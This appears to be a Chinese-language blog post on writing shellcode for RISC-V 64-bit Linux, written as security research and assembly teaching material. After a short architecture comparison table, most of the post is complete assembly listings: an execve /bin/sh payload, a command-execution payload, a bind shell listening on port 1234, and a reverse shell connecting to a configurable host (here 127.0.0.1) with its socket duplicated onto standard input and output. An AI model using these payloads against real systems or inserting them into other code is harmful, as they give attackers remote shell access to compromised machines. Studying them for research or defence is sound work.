探索RISC-V 64位Linux平台上的Shellcode编写

本文详细介绍了在基于RISC-V 64位指令集架构的Linux系统上编写Shellcode的技术实践。通过对比x86和ARM架构,作者展示了RISC-V的简洁性,并提供了执行命令、绑定Shell和反向连接Shell等具体代码示例,适合计算机安全研究人员和汇编语言学习者参考。

RISC-V(发音为“risk-five”)是一种基于成熟精简指令集计算机(RISC)原理的开放式标准指令集架构(ISA)。与大多数其他ISA设计不同,RISC-V在开源许可证下提供,使用时无需支付许可费用。

为了进一步了解RISC-V架构,我最近购买了一台StarFive VisionFive单板计算机。它比运行在ARM上的树莓派(RPI)稍贵,但这是目前我们能买到的与RPI最接近的设备。它采用了SiFive的U74 64位RISC-V处理器内核,类似于ARM Cortex-A55。没有此类开发板的读者可以选择使用QEMU。

你可以在此处查看这些Shellcode。

RISC-V ISA(不包括扩展指令)当然比ARM ISA小得多,但这也使得学习它更容易(依我之见)。精简的指令集更适合初学者学习他们的第一种汇编语言。从商业角度来看(我承认我并非这类问题的专家),RISC-V相对于ARM的主要优势在于它是开源的,没有许可费用且不受制裁影响。基于这些原因,它很可能在未来变得比ARM更受欢迎。我们将拭目以待。

架构对比表

项目 X86 (AMD64) ARM64 RISC-V 64
寄存器 RAX-R15 X0-X31 A0-A31
系统调用寄存器 RAX X8 A7
返回寄存器 RAX X0 A0
零寄存器 N/A XMR X0
相对寻址 LEA ADR LA
数据传送(寄存器) MOV MOV MV
数据传送(立即数) MOV MOV LI
执行系统调用 SYSCALL SVC ECALL

执行 /bin/sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    # 48 字节

    .include "include.inc"

    .global _start
    .text

_start:
    # execve("/bin/sh", NULL, NULL);
    li     a7, SYS_execve
    mv     a2, x0           # NULL
    mv     a1, x0           # NULL
    li     a3, BINSH        # "/bin/sh"
    sd     a3, (sp)         # 将字符串存储在栈上
    mv     a0, sp
    ecall

执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    # 112 字节

    .include "include.inc"
    
    .global _start
    .text

_start:
    # execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
    addi   sp, sp, -64           # 在栈上分配 64 字节
    li     a7, SYS_execve
    li     a0, BINSH             # a0 = "/bin/sh\0"
    sd     a0, (sp)              # 在栈上存储 "/bin/sh"
    mv     a0, sp
    li     a1, 0x632D            # a1 = "-c"
    sd     a1, 8(sp)             # 在栈上存储 "-c"
    addi   a1, sp, 8
    la     a2, cmd               # a2 = cmd
    sd     a0, 16(sp)
    sd     a1, 24(sp)
    sd     a2, 32(sp)
    sd     x0, 40(sp)
    addi   a1, sp, 16            # a1 = {"/bin/sh", "-c", cmd, NULL}
    mv     a2, x0                # penv = NULL
    ecall 
cmd:
    .asciz "echo Hello, World!"

绑定Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
    # 176 字节
 
    .include "include.inc"

    .equ PORT, 1234

    .global _start
    .text

_start:
    addi   sp, sp, -16
    
    # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    li     a7, SYS_socket
    li     a2, IPPROTO_IP
    li     a1, SOCK_STREAM
    li     a0, AF_INET
    ecall
    
    mv     a3, a0
    
    # bind(s, &sa, sizeof(sa));  
    li     a7, SYS_bind
    li     a2, 16
    li     a1, (((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET) 
    sd     a1, (sp)
    sd     x0, 8(sp)
    mv    a1, sp
    ecall
  
    # listen(s, 1);
    li     a7, SYS_listen
    li     a1, 1
    mv     a0, a3
    ecall
    
    # r = accept(s, 0, 0);
    li     a7, SYS_accept
    mv     a2, x0
    mv     a1, x0
    mv     a0, a3
    ecall
    
    mv     a4, a0
 
    # 按此顺序执行
    #
    # dup3(s, STDERR_FILENO, 0);
    # dup3(s, STDOUT_FILENO, 0);
    # dup3(s, STDIN_FILENO,  0);
    li     a7, SYS_dup3
    li     a1, STDERR_FILENO + 1
c_dup:
    mv     a0, a4
    addi   a1, a1, -1
    ecall
    bne    a1, zero, c_dup

    # execve("/bin/sh", NULL, NULL);
    li     a7, SYS_execve
    mv     a2, x0
    mv     a1, x0
    li     a0, BINSH
    sd     a0, (sp)
    mv     a0, sp
    ecall

反向连接Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    # 140 字节

    .include "include.inc"

    .equ PORT, 1234
    .equ HOST, 0x0100007F # 127.0.0.1

    .global _start
    .text

_start:
    addi    sp, sp, -16
    
    # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    li      a7, SYS_socket
    li      a2, IPPROTO_IP
    li      a1, SOCK_STREAM
    li      a0, AF_INET
    ecall
    
    mv      a3, a0       # a3 = s
    
    # connect(s, &sa, sizeof(sa));
    li      a7, SYS_connect
    li      a2, 16
    li      a1, ((HOST << 32) | ((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET)
    sd      a1, (sp)
    mv      a1, sp       # a1 = &sa 
    ecall
  
    # 按此顺序执行
    #
    # dup3(s, STDERR_FILENO, 0);
    # dup3(s, STDOUT_FILENO, 0);
    # dup3(s, STDIN_FILENO,  0);
    li      a7, SYS_dup3
    li      a1, STDERR_FILENO + 1
c_dup:
    mv      a2, x0
    mv      a0, a3
    addi    a1, a1, -1
    ecall
    bne     a1, zero, c_dup

    # execve("/bin/sh", NULL, NULL);
    li      a7, SYS_execve
    li      a0, BINSH
    sd      a0, (sp)
    mv      a0, sp
    ecall

扩展阅读

  • Basic Shellcode in RISC-V Linux
  • RISC-V: #AlphanumericShellcoding
  • [DEFCON 2020 Quals] – nooopsled
  • RARS — RISC-V Assembler and Runtime Simulator
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计